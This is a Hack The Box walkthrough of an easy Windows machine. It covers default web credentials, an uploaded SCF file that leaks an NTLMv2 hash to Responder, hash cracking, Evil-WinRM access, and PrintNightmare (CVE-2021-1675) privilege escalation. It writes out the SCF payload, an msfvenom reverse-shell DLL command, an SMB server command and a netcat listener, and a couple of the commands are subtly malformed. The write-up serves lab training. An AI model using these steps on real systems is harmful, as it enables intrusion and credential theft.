After a little bit of a holiday, I needed to get myself sharpened up again and so this ‘easy’ box was chosen for pwnage. One of my colleagues joined me for the first part of this exercise and we had a look at the foothold together. Sorry to disappoint, but I’m kicking off with an
We can see a web target straight away, along with some RPC/SMB and WinRM. The web service is interesting as we’re prompted for HTTP basic authentication. Pulling up a browser, you see the same prompt “Please enter the password for admin”. Feels like a massive clue to me. I try admin:admin as my authentication. Sure enough this works.
Only one of the links presented to us work here by the way. Firmware Updates.
My first thought is that there will be some kind of SSRF, SQLi, or command injection vulnerability. I had a play with BurpSuite to see what I could find out. The first thing I notice is that I can strike off SSRF from my list. But I do find I can upload anything. There’s no restriction at all. Good, that will hopefully make things easier. Although at the moment, I don’t even know where the files are going. I assume they’re being uploaded somewhere onto the server. I start a ffuf running to see if I can find any other endpoints.
ffuf -c -w -H 'Authentication: Basic YWRtaW46YWRtaW4=' /usr/share/wordlists/dirb/big.txt -u http://10.10.11.106/FUZZ -e .php,.zip,.txt,.pdf
Whilst this is going on, my colleague has been poking around elsewhere and is obsessing over SCF files, pointing out that the server is running SMB. Initially I was thinking to call someone over to have him beaten in a room with no windows, but my ffuf is coming up short. Before I even have a chance to try, he tells me he has a hash. W.T.F.
Okay so SCF files are nasty little things that allow you to perform a really pathetically small amount of Explorer commands. The one you’ll be most familiar with is “Show Desktop”. Yeah, that button is just an SCF file.
You can read more about attacks using SCF files here: https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
M’colleague has already cracked the hash by now. So you and me better catch up. I created the below SCF file and uploaded it using the website:
[Shell] Command=2 IconFile=\\<My IP>\share\icon.ico [Taskbar] Command=ToggleDesktop
Whilst there is UNC path indicating a share called ‘share’ I have nothing of the sort to offer. No sweet icons, just a serving of Responder.
Now in theory someone would have to have browsed to this file to make it work. That is apparently what is going on though as our Responder instance provides us with a hash!
This is an NTLMv2 hash which we’ll crack, naturally.
hashcat -m tony.hash /usr/share/wordlists/rockyou.txt --force
It takes seconds, mainly because the password is atrocious. At this point our XO has gone off to do better things leaving us to get on with it. As I mentioned earlier, WinRM was exposed, and this is supposed to be an easy box. I grab a shell with Evil-WinRM using the password I’ve just obtained and we’re in. Wasting no time, I get the user.txt flag and begin the next steps to get root.
I look at the code for
fw_up.php and see where it’s putting the files. If nothing else, it provides a good way of getting files onto the box – which as it happens isn’t a challenge anyway. Anyway the uploads end up in
My thought right now, given that the dumpster fire PrintNightmare was a little earlier in the year, maybe this box might well be designed to have that as the PrivEsc route. Trying not to jump to conclusions, I drop winPEASx64.exe onto the system and run that. I rather wish I hadn’t because I then spent hours in the rabbit hole of doom. This was because there was a Ricoh driver sitting on the system, in a hidden directory. That exact driver happens to have a privilege escalation bug.
Firstly I couldn’t get WinRM to give me a Meterpreter session directly using Metasploit, which I’d need if I wanted to use the module to exploit this vulnerability. So I created my own manually using msfvenom, then tried to use this to get the exploit to work. Nada. I thought this was supposed to be easy.
So, I went back to thinking about PrintNightmare. My colleague messaged me something I can’t repeat that indicated he was thinking the same way. To make it a bit confusing PrintNightmare isn’t really just a single vulnerability, its multiple issues that include RCE and LPE.
I’d chosen CVE-2021-1675 to force ourselves in as SYSTEM. There’s a Python version of this we can run from our Kali instance and I got that from here: https://github.com/cube0x0/CVE-2021-1675
As a prerequisite we need a
dll that will send us a remote shell. The Python script will inject this into the Print Spooler. We do that like this:
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<My IP> LPORT=5555 -f dll -o dll.dll
The file we end up creating here needs to be hosted somewhere that the target can reach. If you look around at people fiddling with PrintNightmare you’ll see lots of these folk running Samba. I must confess, I am not a fan of this approach. They’re off reconfiguring open shares and restarting daemons. We’ll just use Impacket’s smbserver.
impacket-smbserver share . -smb2support
Isn’t that simple?
Now we need a listener to grab the reverse shell.
nc -nvlp 5555
Finally, we can execute our Nightmare.
I was a tad worried about the fact it seemed to blow-up at the end. I need not though as when I checked my other terminal window I had a shell. And not just any shell…
If you think about it – I didn’t need Evil-WinRM at all. Once I had the details of Tony, I only needed this exploit to do everything. Oddly I would have got to the solution faster had not tried enumerating further. 99.999% of times that wouldn’t be true though – so make sure you always fully enumerate your target. One other thing of note. This box ‘played up’ during exploitation. I actually had to hit the reset button to get PrintNightmare to work. This is clearly a bug in the box, because I wouldn’t expect the failures I got to occur in the real world.
A fun challenge, if frustrating at times, but good to try out PrintNightmare in HTB finally.